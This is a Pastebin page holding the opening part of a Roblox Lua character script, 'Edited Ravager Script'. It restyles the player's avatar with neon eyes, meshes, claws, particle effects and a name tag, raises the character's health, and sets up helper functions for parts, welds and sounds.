Advertisement
Skye_Blue

Edited Ravager Script

Jul 17th, 2017
236
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 245.95 KB | None | 0 0
  1. --Edited by nobody1997
  2. paly = game.Players.LocalPlayer
  3. Player = game:GetService("Players").LocalPlayer
  4. p = game.Players.LocalPlayer
  5. char = paly.Character
  6. vt = Vector3.new
  7. rarm = char["Right Arm"]
  8. hed = char.Head
  9. larm = char["Left Arm"]
  10. rleg = char["Right Leg"]
  11. lleg = char["Left Leg"]
  12. local maincolor = BrickColor.random()
  13. local effolemode = false
  14. local wrathmode = false
  15. local noobmode = false
  16. local randomname = "Damien"
  17. local randomnamefem = "Damien"
  18. local randomchanger = 1
  19. if paly.Name == "Damien" then
  20. randomchanger = 1
  21. end
  22. if randomchanger == 1 then
  23. randomnamefem = "Damien"
  24. effolemode = true
  25. maincolor = BrickColor.new("Bright red")
  26.  
  27. local dec2 = Instance.new("Decal", char)
  28. dec2.Face = "Front"
  29. dec2.Texture = "rbxassetid://115365331"
  30. dec2.Parent = char.Head
  31. char.Head.face.Transparency = 1
  32. char.Head.face.Texture = "http://www.roblox.com/asset/?id=0"
  33.  
  34. for i,v in pairs(char:children()) do
  35. if v:IsA("Hat") then
  36. v:Destroy()
  37. end
  38. end
  39. for i,v in pairs(char:children()) do
  40. if v:IsA("Accessory") then
  41. v:Destroy()
  42. end
  43. end
  44. for i,v in pairs(char:children()) do
  45. if v:IsA("Hair") then
  46. v:Destroy()
  47. end
  48. end
  49. for i,v in pairs(char:children()) do
  50. if v:IsA("Shirt") then
  51. v:Destroy()
  52. end
  53. end
  54. for i,v in pairs(char:children()) do
  55. if v:IsA("Pants") then
  56. v:Destroy()
  57. end
  58. end
  59.  
  60. local eye12 = Instance.new("Part")
  61. eye12.Parent = char
  62. eye12.Size = Vector3.new(0.2, 0.2, 0.2)
  63. eye12.Archivable = true
  64. eye12.Transparency = 0
  65. eye12.Shape = "Ball"
  66. eye12.BrickColor = maincolor
  67. eye12.Material = "Neon"
  68. eye12.CanCollide = false
  69. local mesh2 = Instance.new("SpecialMesh",eye12)
  70. mesh2.MeshType = "Sphere"
  71. mesh2.Scale = Vector3.new(0.75, 1, 1)
  72. local weld1en2 = Instance.new("Weld")
  73. weld1en2.Parent = hed
  74. weld1en2.Part0 = hed
  75. weld1en2.Part1 = eye12
  76. weld1en2.C1 = CFrame.new(0.115, -0.19, 0.5475)
  77. local eye1 = Instance.new("Part")
  78. eye1.Parent = char
  79. eye1.Size = Vector3.new(0.2, 0.2, 0.2)
  80. eye1.Archivable = true
  81. eye1.Transparency = 0
  82. eye1.Shape = "Ball"
  83. eye1.BrickColor = maincolor
  84. eye1.Material = "Neon"
  85. eye1.CanCollide = false
  86. local mesh = Instance.new("SpecialMesh",eye1)
  87. mesh.MeshType = "Sphere"
  88. mesh.Scale = Vector3.new(0.75, 1, 1)
  89. local weld1en = Instance.new("Weld")
  90. weld1en.Parent = hed
  91. weld1en.Part0 = hed
  92. weld1en.Part1 = eye1
  93. weld1en.C1 = CFrame.new(-0.115, -0.19, 0.5475)
  94.  
  95. local BC = char["Body Colors"]
  96. BC.HeadColor = BrickColor.new("White")
  97. BC.LeftArmColor = BrickColor.new("White")
  98. BC.LeftLegColor = BrickColor.new("White")
  99. BC.RightArmColor = BrickColor.new("White")
  100. BC.RightLegColor = BrickColor.new("White")
  101. BC.TorsoColor = BrickColor.new("White")
  102.  
  103. ypcall(function()
  104. shirt = Instance.new("Shirt", char)
  105. shirt.Name = "Shirt"
  106. pants = Instance.new("Pants", char)
  107. pants.Name = "Pants"
  108. char.Shirt.ShirtTemplate = "rbxassetid://794008107"
  109. char.Pants.PantsTemplate = "rbxassetid://781197307"
  110. end)
  111. Reaper2 = Instance.new("Model")
  112. Reaper2.Parent = Player.Character
  113. Reaper2.Name = "Reaper2"
  114. rh2 = Instance.new("Part")
  115. rh2.Parent = Reaper2
  116. rh2.BrickColor = maincolor
  117. rh2.Locked = true
  118. rh2.CanCollide = false
  119. mesh2 = Instance.new("SpecialMesh")
  120. rh2.formFactor = "Symmetric"
  121. mesh2.MeshType = "FileMesh"
  122. mesh2.MeshId = "http://www.roblox.com/asset/?id=346578029"
  123. mesh2.Parent = rh2
  124. local weld2 = Instance.new("Weld")
  125. weld2.Parent = rh2
  126. rh2.Transparency = 0
  127. weld2.Part0 = rh2
  128. weld2.Part1 = Player.Character.Head
  129. weld2.C0 = CFrame.new(-0.025,-.5,0)*CFrame.Angles(0, 0, 0)
  130.  
  131. Reaper3 = Instance.new("Model")
  132. Reaper3.Parent = Player.Character
  133. Reaper3.Name = "Reaper3"
  134. rh3 = Instance.new("Part")
  135. rh3.Parent = Reaper3
  136. rh3.BrickColor = BrickColor.new("Really black")
  137. rh3.Locked = true
  138. rh3.CanCollide = false
  139. mesh3 = Instance.new("SpecialMesh")
  140. rh3.formFactor = "Symmetric"
  141. mesh3.MeshType = "FileMesh"
  142. mesh3.MeshId = "http://www.roblox.com/asset/?id=227430350"
  143. mesh3.Scale = Vector3.new(2.5, 2.5, 2.5)
  144. mesh3.Parent = rh3
  145. local weld3 = Instance.new("Weld")
  146. weld3.Parent = rh3
  147. rh3.Transparency = 0
  148. weld3.Part0 = rh3
  149. weld3.Part1 = Player.Character.Head
  150. weld3.C0 = CFrame.new(0, -1.23, 0)*CFrame.Angles(0, 0, 0)
  151.  
  152. local orbe = Instance.new("Part")
  153. orbe.Parent = char
  154. orbe.Size = Vector3.new(0.2, 0.2, 0.2)
  155. orbe.Archivable = true
  156. orbe.Transparency = 1
  157. orbe.BrickColor = maincolor
  158. orbe.Material = "Neon"
  159. orbe.CanCollide = false
  160. local weld1e = Instance.new("Weld")
  161. weld1e.Parent = rleg
  162. weld1e.Part0 = rleg
  163. weld1e.Part1 = orbe
  164. weld1e.C1 = CFrame.new(0, 1.125, 0)
  165. local pt1e = NumberSequenceKeypoint.new(0,0.85,0)
  166. local pt2e = NumberSequenceKeypoint.new(1,0,0)
  167. local effectoe = Instance.new("ParticleEmitter",orbe)
  168. effectoe.LightEmission = 1
  169. effectoe.Texture = "rbxasset://textures/particles/smoke_main.dds"
  170. effectoe.Color = ColorSequence.new(maincolor.Color)
  171. effectoe.Rate = 10000
  172. effectoe.Lifetime = NumberRange.new(1)
  173. effectoe.Size = NumberSequence.new({pt1e,pt2e})
  174. effectoe.Speed = NumberRange.new(0,0)
  175. effectoe.RotSpeed = NumberRange.new(100,100)
  176.  
  177. local orbze = Instance.new("Part")
  178. orbze.Parent = char
  179. orbze.Size = Vector3.new(0.2, 0.2, 0.2)
  180. orbze.Archivable = true
  181. orbze.Transparency = 1
  182. orbze.BrickColor = maincolor
  183. orbze.Material = "Neon"
  184. orbze.CanCollide = false
  185. local weldz1 = Instance.new("Weld")
  186. weldz1.Parent = lleg
  187. weldz1.Part0 = lleg
  188. weldz1.Part1 = orbze
  189. weldz1.C1 = CFrame.new(0, 1.125, 0)
  190. local effectone = Instance.new("ParticleEmitter",orbze)
  191. effectone.LightEmission = 1
  192. effectone.Texture = "rbxasset://textures/particles/smoke_main.dds"
  193. effectone.Color = ColorSequence.new(maincolor.Color)
  194. effectone.Rate = 10000
  195. effectone.Lifetime = NumberRange.new(1)
  196. effectone.Size = NumberSequence.new({pt1e,pt2e})
  197. effectone.Speed = NumberRange.new(0,0)
  198. effectone.RotSpeed = NumberRange.new(100,100)
  199. end
  200.  
  201. if effolemode == true then
  202. maincolor = BrickColor.new("Really red")
  203. end
  204.  
  205. local orb = Instance.new("Part")
  206. orb.Parent = char
  207. orb.Size = Vector3.new(1, 1, 1)
  208. orb.Archivable = true
  209. orb.Transparency = 1
  210. orb.BrickColor = BrickColor.new("Really red")
  211. orb.Material = "Wood"
  212. orb.CanCollide = false
  213. local weld1 = Instance.new("Weld")
  214. weld1.Parent = rarm
  215. weld1.Part0 = rarm
  216. weld1.Part1 = orb
  217. weld1.C1 = CFrame.new(0, 1.125, 0)
  218. local pt1 = NumberSequenceKeypoint.new(0,0.475,0)
  219. local pt2 = NumberSequenceKeypoint.new(1,0,0)
  220. local effecto = Instance.new("ParticleEmitter",orb)
  221. effecto.LightEmission = 1
  222. effecto.Texture = "rbxasset://textures/particles/smoke_main.dds"
  223. effecto.Color = ColorSequence.new(maincolor.Color)
  224. effecto.Rate = 10000
  225. effecto.Lifetime = NumberRange.new(1)
  226. effecto.Size = NumberSequence.new({pt1,pt2})
  227. effecto.Speed = NumberRange.new(0,0)
  228. effecto.RotSpeed = NumberRange.new(100,100)
  229.  
  230. local orbz = Instance.new("Part")
  231. orbz.Parent = char
  232. orbz.Size = Vector3.new(1, 1, 1)
  233. orbz.Archivable = true
  234. orbz.Transparency = 1
  235. orbz.BrickColor = BrickColor.new("Really red")
  236. orbz.Material = "Wood"
  237. orbz.CanCollide = false
  238. local weldz1 = Instance.new("Weld")
  239. weldz1.Parent = larm
  240. weldz1.Part0 = larm
  241. weldz1.Part1 = orbz
  242. weldz1.C1 = CFrame.new(0, 1.125, 0)
  243. local effecton = Instance.new("ParticleEmitter",orbz)
  244. effecton.LightEmission = 1
  245. effecton.Texture = "rbxasset://textures/particles/smoke_main.dds"
  246. effecton.Color = ColorSequence.new(maincolor.Color)
  247. effecton.Rate = 10000
  248. effecton.Lifetime = NumberRange.new(1)
  249. effecton.Size = NumberSequence.new({pt1,pt2})
  250. effecton.Speed = NumberRange.new(0,0)
  251. effecton.RotSpeed = NumberRange.new(100,100)
  252.  
  253.  
  254. p = game.Players.LocalPlayer
  255. char = p.Character
  256. torso = char.Torso
  257. neck = char.Torso.Neck
  258. hum = char.Humanoid
  259. hum.MaxHealth = 20000
  260. wait()
  261. hum.Health =hum.MaxHealth
  262.  
  263. CV="Really red"
  264.  
  265. local txt = Instance.new("BillboardGui", char)
  266. txt.Adornee = char .Head
  267. txt.Name = "_status"
  268. txt.Size = UDim2.new(2, 0, 1.2, 0)
  269. txt.StudsOffset = Vector3.new(-9, 8, 0)
  270. local text = Instance.new("TextLabel", txt)
  271. text.Size = UDim2.new(10, 0, 7, 0)
  272. text.FontSize = "Size24"
  273. text.TextScaled = true
  274. text.TextTransparency = 0
  275. text.BackgroundTransparency = 1
  276. text.TextTransparency = 0
  277. text.TextStrokeTransparency = 0
  278. text.Font = "SciFi"
  279. text.TextStrokeColor3 = Color3.new(0,0,0)
  280.  
  281. v=Instance.new("Part")
  282. v.Name = "ColorBrick"
  283. v.Parent=p.Character
  284. v.FormFactor="Symmetric"
  285. v.Anchored=true
  286. v.CanCollide=false
  287. v.BottomSurface="Smooth"
  288. v.TopSurface="Smooth"
  289. v.Size=Vector3.new(10,5,3)
  290. v.Transparency=1
  291. v.CFrame=char.Torso.CFrame
  292. v.BrickColor=BrickColor.new(CV)
  293. v.Transparency=1
  294. text.TextColor3 = BrickColor.new("Really red").Color
  295. v.Shape="Block"
  296. text.Text = "Damien"
  297.  
  298.  
  299. euler = CFrame.fromEulerAnglesXYZ
  300. angles = CFrame.Angles
  301. local player = "LocalPlayer"
  302. local Character = game.Players[player].Character
  303. it = Instance.new
  304. vt = Vector3.new
  305. bc = BrickColor.new
  306. cf = CFrame.new
  307. mr = math.rad
  308. local Weapon = {}
  309. local p = game.Players.LocalPlayer
  310. local char = p.Character
  311. local mouse = p:GetMouse()
  312. local larm = char["Left Arm"]
  313. local rarm = char["Right Arm"]
  314. local lleg = char["Left Leg"]
  315. local rleg = char["Right Leg"]
  316. local hed = char.Head
  317. local torso = char.Torso
  318. local hum = char.Humanoid
  319. local cam = game.Workspace.CurrentCamera
  320. local root = char.HumanoidRootPart
  321. local deb = false
  322. local shot = 0
  323.  
  324. local debris=game:service"Debris"
  325. local l = game:GetService("Lighting")
  326. local rs = game:GetService("RunService").RenderStepped
  327. ptz = {0.8, 0.85, 0.9, 0.95, 1, 1.05, 1.1}
  328. math.randomseed(os.time())
  329. for i,v in pairs (hed:GetChildren()) do
  330. if v:IsA("Sound") then
  331. v:Destroy()
  332. end
  333. end
  334. ---------------------------------------------------- BeastClaw
  335. NoOutline = function(Part)
  336. Part.TopSurface = 10
  337. end
  338. part = function(formfactor, parent, reflectance, transparency, brickcolor, name, size)
  339. local fp = it("Part")
  340. fp.formFactor = formfactor
  341. fp.Parent = parent
  342. fp.Reflectance = reflectance
  343. fp.Transparency = transparency
  344. fp.CanCollide = false
  345. fp.Locked = true
  346. fp.BrickColor = brickcolor
  347. fp.Name = name
  348. fp.Size = size
  349. NoOutline(fp)
  350. fp.Material = "Neon"
  351. fp:BreakJoints()
  352. return fp
  353. end
  354. mesh = function(Mesh, part, meshtype, meshid, offset, scale)
  355. local mesh = it(Mesh)
  356. mesh.Parent = part
  357. if Mesh == "SpecialMesh" then
  358. mesh.MeshType = meshtype
  359. if meshid ~= "nil" then
  360. mesh.MeshId = "http://www.roblox.com/asset/?id=" .. meshid
  361. end
  362. end
  363. mesh.Offset = offset
  364. mesh.Scale = scale
  365. return mesh
  366. end
  367. weld = function(parent, part0, part1, c0)
  368. local weld = it("Motor6D")
  369. weld.Parent = parent
  370. weld.Part0 = part0
  371. weld.Part1 = part1
  372. weld.C0 = c0
  373. return weld
  374. end
  375. gui = function(GuiType, parent, text, backtrans, backcol, pos, size, image)
  376. local gui = it(GuiType)
  377. gui.Parent = parent
  378. gui.BackgroundTransparency = backtrans
  379. gui.BackgroundColor3 = backcol
  380. gui.SizeConstraint = "RelativeXY"
  381. gui.Position = pos
  382. gui.Size = size
  383. if GuiType == "TextLabel" then
  384. gui.Text = text
  385. gui.TextXAlignment = "Center"
  386. gui.TextYAlignment = "Center"
  387. gui.Font = "SourceSans"
  388. gui.FontSize = "Size14"
  389. gui.TextWrapped = false
  390. gui.TextStrokeTransparency = 0
  391. gui.TextColor = TorsoColor
  392. else
  393. if GuiType == "ImageLabel" then
  394. gui.Image = "rbxassetid://" .. image
  395. gui.ImageColor3 = backcol
  396. end
  397. end
  398. return gui
  399. end
  400. local handle = nil
  401. AesthPart = function(model, wldpar, reflec, trans, col, name, neon, meshh, mshtype, mshtxt, x1, y1, z1, ceef)
  402. prt = part(3, model, reflec, trans, BrickColor.new(col), name, vt())
  403. prt.Material = neon
  404. msh = mesh(meshh, prt, mshtype, mshtxt, vt(0, 0, 0), vt(x1, y1, z1))
  405. wld = weld(handle, prt, wldpar, ceef)
  406. v = it("NumberValue", prt)
  407. v.Value = trans
  408. v.Name = "MainTransparency"
  409. return prt, msh, wld
  410. end
  411. AesthPartHand = function(model, wldpar, reflec, trans, col, name, neon, meshh, mshtype, mshtxt, x1, y1, z1, ceef, wldpare)
  412. prt = part(3, model, reflec, trans, BrickColor.new(col), name, vt())
  413. prt.Material = neon
  414. msh = mesh(meshh, prt, mshtype, mshtxt, vt(0, 0, 0), vt(x1, y1, z1))
  415. wld = weld(wldpare, prt, wldpar, ceef)
  416. v = it("NumberValue", prt)
  417. v.Value = trans
  418. v.Name = "MainTransparency"
  419. return prt, msh, wld
  420. end
  421. local modelzorzez = Instance.new("Model")
  422. modelzorzez.Parent = workspace.CurrentCamera
  423. modelzorzez.Name = "none"
  424. local Torso = Character.Torso
  425. local LeftArm = Character["Left Arm"]
  426. local RightArm = Character["Right Arm"]
  427. local LeftLeg = Character["Left Leg"]
  428. local RightLeg = Character["Right Leg"]
  429. local Head = Character.Head
  430. local RootPart = Character.HumanoidRootPart
  431. handle = part(3, modelzorzez, 0, 1, BrickColor.new("Really black"), "Handle", vt())
  432. local handlewld = weld(handle, handle, Torso, euler(0, 0, -0.8) * cf(0, 0, -0.7))
  433.  
  434. -- SAHHHH DUUDEEE
  435.  
  436.  
  437.  
  438.  
  439. -- params : ...
  440.  
  441. wait(0.016666666666667)
  442. script.Archivable = false
  443. Effects = {}
  444. local Player = game.Players.localPlayer
  445. local Character = Player.Character
  446. local Humanoid = Character.Humanoid
  447. local mouse = Player:GetMouse()
  448. local m = Instance.new("Model", Character)
  449. m.Name = "WeaponModel"
  450. local effect = Instance.new("Model", Character)
  451. effect.Name = "effecsfsafzx"
  452. local demon = Instance.new("Model", Character)
  453. demon.Name = "demdemd"
  454. local LeftArm = Character["Left Arm"]
  455. local RightArm = Character["Right Arm"]
  456. local LeftLeg = Character["Left Leg"]
  457. local RightLeg = Character["Right Leg"]
  458. local do2target = nil
  459. local Head = Character.Head
  460. local Torso = Character.Torso
  461. TorsoColor = BrickColor.new("Bright red")
  462. z = Instance.new("Sound", Torso)
  463. z.SoundId = "rbxassetid://0" -- Put Music ID Here.
  464. z.Looped = true
  465. z.Pitch = 0
  466. z.Volume = 0
  467. wait(.1)
  468. z:Play()
  469. local cam = game.Workspace.CurrentCamera
  470. local RootPart = Character.HumanoidRootPart
  471. local RootJoint = RootPart.RootJoint
  472. local equipped = false
  473. local attack = false
  474. local Anim = "Idle"
  475. local idle = 0
  476. local attacktype = 1
  477. local Torsovelocity = RootPart.Velocity * Vector3.new(1, 0, 1).magnitude
  478. local velocity = RootPart.Velocity.y
  479. local sine = 0
  480. local change = 1
  481. local mana = 0
  482. local it = Instance.new
  483. vt = Vector3.new
  484. local grabbed = false
  485. local cf = CFrame.new
  486. local mr = math.rad
  487. local angles = CFrame.Angles
  488. local ud = UDim2.new
  489. local c3 = Color3.new
  490. clerp = function(a, b, t)
  491.  
  492. return a:lerp(b, t)
  493. end
  494.  
  495. local RbxUtility = LoadLibrary("RbxUtility")
  496. local Create = RbxUtility.Create
  497. RemoveOutlines = function(part)
  498.  
  499. part.TopSurface = 10
  500. end
  501.  
  502. CreatePart = function(Parent, Material, Reflectance, Transparency, BColor, Name, Size)
  503.  
  504. local Part = Create("Part")({Parent = Parent, Reflectance = Reflectance, Transparency = Transparency, CanCollide = false, Locked = true, BrickColor = BrickColor.new(tostring(BColor)), Name = Name, Size = Size, Material = Material})
  505. RemoveOutlines(Part)
  506. return Part
  507. end
  508.  
  509. CreateMesh = function(Mesh, Part, MeshType, MeshId, OffSet, Scale)
  510.  
  511. local Msh = Create(Mesh)({Parent = Part, Offset = OffSet, Scale = Scale})
  512. if Mesh == "SpecialMesh" then
  513. Msh.MeshType = MeshType
  514. Msh.MeshId = MeshId
  515. end
  516. return Msh
  517. end
  518.  
  519. local co1 = 3
  520. local co2 = 10
  521. local co3 = 15
  522. local co4 = 30
  523. local cooldown1 = 0
  524. local cooldown2 = 0
  525. local cooldown3 = 0
  526. local cooldown4 = 0
  527. local maxEnergy = 200
  528. local Energy = 0
  529. local skill1stam = 1000
  530. local skill2stam = 1000
  531. local skill3stam = 1000
  532. local skill4stam = 1000
  533. local recovermana = 10
  534. local skillcolorscheme = BrickColor.new("Bright red").Color
  535. local scrn = Instance.new("ScreenGui", Player.PlayerGui)
  536. makeframe = function(par, trans, pos, size, color)
  537.  
  538. local frame = Instance.new("Frame", par)
  539. frame.BackgroundTransparency = trans
  540. frame.BorderSizePixel = 0
  541. frame.Position = pos
  542. frame.Size = size
  543. frame.BackgroundColor3 = color
  544. return frame
  545. end
  546.  
  547. makelabel = function(par, text)
  548.  
  549. local label = Instance.new("TextLabel", par)
  550. label.BackgroundTransparency = 1
  551. label.Size = UDim2.new(1, 0, 1, 0)
  552. label.Position = UDim2.new(0, 0, 0, 0)
  553. label.TextColor3 = Color3.new(1,0,0)
  554. label.TextStrokeTransparency = 0
  555. label.FontSize = Enum.FontSize.Size32
  556. label.Font = Enum.Font.SourceSansLight
  557. label.BorderSizePixel = 0
  558. label.TextScaled = true
  559. label.Text = text
  560. end
  561.  
  562. ArtificialHB = Instance.new("BindableEvent", script)
  563. ArtificialHB.Name = "Heartbeat"
  564. script:WaitForChild("Heartbeat")
  565. frame = 0.033333333333333
  566. tf = 0
  567. allowframeloss = false
  568. tossremainder = false
  569. lastframe = tick()
  570. script.Heartbeat:Fire()
  571. game:GetService("RunService").Heartbeat:connect(function(s, p)
  572.  
  573. tf = tf + s
  574. if frame <= tf then
  575. if allowframeloss then
  576. script.Heartbeat:Fire()
  577. lastframe = tick()
  578. else
  579. for i = 1, math.floor(tf / frame) do
  580. script.Heartbeat:Fire()
  581. end
  582. lastframe = tick()
  583. end
  584. if tossremainder then
  585. tf = 0
  586. else
  587. tf = tf - frame * math.floor(tf / frame)
  588. end
  589. end
  590. end
  591. )
  592. swait = function(num)
  593.  
  594. if num == 0 or num == nil then
  595. ArtificialHB.Event:wait()
  596. else
  597. for i = 0, num do
  598. ArtificialHB.Event:wait()
  599. end
  600. end
  601. end
  602.  
  603. CreateWeld = function(Parent, Part0, Part1, C0, C1)
  604.  
  605. local Weld = Create("Weld")({Parent = Parent, Part0 = Part0, Part1 = Part1, C0 = C0, C1 = C1})
  606. return Weld
  607. end
  608.  
  609. rayCast = function(Position, Direction, Range, Ignore)
  610.  
  611. return game:service("Workspace"):FindPartOnRay(Ray.new(Position, Direction.unit * (Range or 999.999)), Ignore)
  612. end
  613.  
  614. CreateSound = function(id, par, vol, pit)
  615.  
  616. coroutine.resume(coroutine.create(function()
  617.  
  618. local sou = Instance.new("Sound", par or workspace)
  619. sou.Volume = vol
  620. sou.Pitch = pit or 1
  621. sou.SoundId = id
  622. swait()
  623. sou:play()
  624. game:GetService("Debris"):AddItem(sou, 6)
  625. end
  626. ))
  627. end
  628.  
  629. local getclosest = function(obj, distance)
  630.  
  631. local last, lastx = distance + 1, nil
  632. for i,v in pairs(workspace:GetChildren()) do
  633. if v:IsA("Model") and v ~= Character and v:findFirstChild("Humanoid") and v:findFirstChild("Torso") and v:findFirstChild("Humanoid").Health > 0 then
  634. local t = v.Torso
  635. local dist = t.Position - obj.Position.magnitude
  636. if dist <= distance and dist < last then
  637. last = dist
  638. lastx = v
  639. end
  640. end
  641. end
  642. return lastx
  643. end
  644.  
  645. CreatePart2 = function(Parent, Material, Reflectance, Transparency, PartType, BColor, Name, Size)
  646.  
  647. if PartType == "Part" then
  648. local Part = Create("Part")({Parent = Parent, Reflectance = Reflectance, Transparency = Transparency, CanCollide = false, Locked = true, BrickColor = BrickColor.new(tostring(BColor)), Name = Name, Size = Size, Material = Material})
  649. RemoveOutlines(Part)
  650. return Part
  651. else
  652. do
  653. if PartType == "WedgePart" then
  654. local Part = Create("WedgePart")({Parent = Parent, Reflectance = Reflectance, Transparency = Transparency, CanCollide = false, Locked = true, BrickColor = BrickColor.new(tostring(BColor)), Name = Name, Size = Size, Material = Material})
  655. RemoveOutlines(Part)
  656. return Part
  657. end
  658. end
  659. end
  660. end
  661.  
  662. Handle = CreatePart(m, Enum.Material.SmoothPlastic, 0, 1, "Dirt brown", "Handle", Vector3.new(1, 2, 1))
  663. HandleWeld = CreateWeld(m, Character["Right Arm"], Handle, CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1), CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1))
  664. Claw = CreatePart2(m, Enum.Material.Neon, 0.30000001192093, 0, "Part", TorsoColor, "Claw", Vector3.new(1, 1, 1))
  665. ClawWeld = CreateWeld(m, Handle, Claw, CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1), CFrame.new(0.0142869996, -0.598956585, -0.401195407, 0, 0, 1, 0.25881803, -0.965926111, 0, 0.965926111, 0.25881803, 0))
  666. CreateMesh("SpecialMesh", Claw, Enum.MeshType.FileMesh, "http://www.roblox.com/Asset/?id=9756362", Vector3.new(0, 0, 0), Vector3.new(1, 0.709999979, 0.150000006))
  667. Claw = CreatePart2(m, Enum.Material.Neon, 0.30000001192093, 0, "Part", TorsoColor, "Claw", Vector3.new(1, 1, 1))
  668. ClawWeld = CreateWeld(m, Handle, Claw, CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1), CFrame.new(0.858075142, -0.276378155, -0.49209857, 0.353552133, -0.866025269, 0.353555113, 0.707108736, -9.03335206e-07, -0.707104981, 0.612371027, 0.500000358, 0.61237365))
  669. CreateMesh("SpecialMesh", Claw, Enum.MeshType.FileMesh, "http://www.roblox.com/Asset/?id=9756362", Vector3.new(0, 0, 0), Vector3.new(1, 0.709999979, 0.100000001))
  670. Claw = CreatePart2(m, Enum.Material.Neon, 0.30000001192093, 0, "Part", TorsoColor, "Claw", Vector3.new(1, 1, 1))
  671. ClawWeld = CreateWeld(m, Handle, Claw, CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1), CFrame.new(0.0142959999, -0.79026103, -0.577523232, 0, 0, 1, 0.0581610166, -0.998307228, 0, 0.998307228, 0.0581610166, 0))
  672. CreateMesh("SpecialMesh", Claw, Enum.MeshType.FileMesh, "http://www.roblox.com/Asset/?id=9756362", Vector3.new(0, 0, 0), Vector3.new(0.400000006, 1, 0.100000001))
  673. Claw = CreatePart2(m, Enum.Material.Neon, 0.30000001192093, 0, "Part", TorsoColor, "Claw", Vector3.new(1, 1, 1))
  674. ClawWeld = CreateWeld(m, Handle, Claw, CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1), CFrame.new(0.857914209, 0.258751988, -0.512362957, 0.353553236, -0.866025567, -0.353553236, -0.707106471, 3.09715034e-07, -0.707107246, 0.612372994, 0.499999791, -0.6123721))
  675. CreateMesh("SpecialMesh", Claw, Enum.MeshType.FileMesh, "http://www.roblox.com/Asset/?id=9756362", Vector3.new(0, 0, 0), Vector3.new(1, 0.709999979, 0.100000001))
  676. ClawMaterial = CreatePart2(m, Enum.Material.SmoothPlastic, 0.30000001192093, 0, "Part", TorsoColor, "ClawMaterial", Vector3.new(0.210449979, 0.210449979, 0.200000003))
  677. ClawMaterialWeld = CreateWeld(m, Handle, ClawMaterial, CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1), CFrame.new(0.508293927, 0.581420183, 0.355297565, -1, 0, 0, 0, -0.694275975, -0.719708979, 0, -0.719708979, 0.694275975))
  678. CreateMesh("BlockMesh", ClawMaterial, "", "", Vector3.new(0, 0, 0), Vector3.new(0.207726225, 0.473494887, 1))
  679. ClawMaterial = CreatePart2(m, Enum.Material.SmoothPlastic, 0.30000001192093, 0, "Part", TorsoColor, "ClawMaterial", Vector3.new(0.210449979, 0.210449979, 0.200000003))
  680. ClawMaterialWeld = CreateWeld(m, Handle, ClawMaterial, CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1), CFrame.new(-0.508293927, -0.605236769, -0.322324991, 1, 0, 0, 0, 0.719708979, -0.694275975, 0, 0.694275975, 0.719708979))
  681. CreateMesh("BlockMesh", ClawMaterial, "", "", Vector3.new(0, 0, 0), Vector3.new(0.207726225, 0.473494887, 1))
  682. ClawMaterial = CreatePart2(m, Enum.Material.SmoothPlastic, 0.30000001192093, 0, "Part", TorsoColor, "ClawMaterial", Vector3.new(0.210449979, 0.210449979, 0.200000003))
  683. ClawMaterialWeld = CreateWeld(m, Handle, ClawMaterial, CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1), CFrame.new(-0.508293927, 0.0117408261, -0.729162693, 1, 0, 0, 0, -0.0252030101, -0.999682367, 0, 0.999682367, -0.0252030101))
  684. CreateMesh("BlockMesh", ClawMaterial, "", "", Vector3.new(0, 0, 0), Vector3.new(0.208000004, 0.47299999, 0.47299999))
  685. ClawMaterial = CreatePart2(m, Enum.Material.SmoothPlastic, 0.30000001192093, 0, "Part", TorsoColor, "ClawMaterial", Vector3.new(0.210449979, 0.210449979, 1.04200566))
  686. ClawMaterialWeld = CreateWeld(m, Handle, ClawMaterial, CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1), CFrame.new(-0.123879015, -0.278857708, -0.00617899979, 0.965925336, -0.2588211, 0, 0.2588211, 0.965925336, 0, 0, 0, 1))
  687. CreateMesh("BlockMesh", ClawMaterial, "", "", Vector3.new(0, 0, 0), Vector3.new(0.821169853, 0.388499111, 1.00999999))
  688. ClawMaterial = CreatePart2(m, Enum.Material.SmoothPlastic, 0.30000001192093, 0, "Part", TorsoColor, "ClawMaterial", Vector3.new(0.445813209, 0.210449979, 1.04200566))
  689. ClawMaterialWeld = CreateWeld(m, Handle, ClawMaterial, CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1), CFrame.new(-0.223450184, 0.0305250883, -0.00618699985, -0.25881803, 0.965926111, 0, -0.965926111, -0.25881803, 0, 0, 0, 1))
  690. CreateMesh("BlockMesh", ClawMaterial, "", "", Vector3.new(0, 0, 0), Vector3.new(1, 0.388499111, 1.00999999))
  691. ClawMaterial = CreatePart2(m, Enum.Material.SmoothPlastic, 0.30000001192093, 0, "Part", TorsoColor, "ClawMaterial", Vector3.new(0.210449979, 0.210449979, 1.04200566))
  692. ClawMaterialWeld = CreateWeld(m, Handle, ClawMaterial, CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1), CFrame.new(0.407537222, 0.0663063526, -0.00618699985, 0.707106352, -0.707107365, 0, 0.707107365, 0.707106352, 0, 0, 0, 1))
  693. CreateMesh("BlockMesh", ClawMaterial, "", "", Vector3.new(0, 0, 0), Vector3.new(0.821169853, 0.388499111, 1.00999999))
  694. ClawMaterial = CreatePart2(m, Enum.Material.SmoothPlastic, 0.30000001192093, 0, "Part", TorsoColor, "ClawMaterial", Vector3.new(0.664211631, 0.210449979, 1.04200566))
  695. ClawMaterialWeld = CreateWeld(m, Handle, ClawMaterial, CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1), CFrame.new(0.0544009209, 0.0101571083, -0.00617499975, 0.499998987, 0.866025984, 0, -0.866025984, 0.499998987, 0, 0, 0, 1))
  696. CreateMesh("BlockMesh", ClawMaterial, "", "", Vector3.new(0, 0, 0), Vector3.new(1, 0.388499111, 1.00999999))
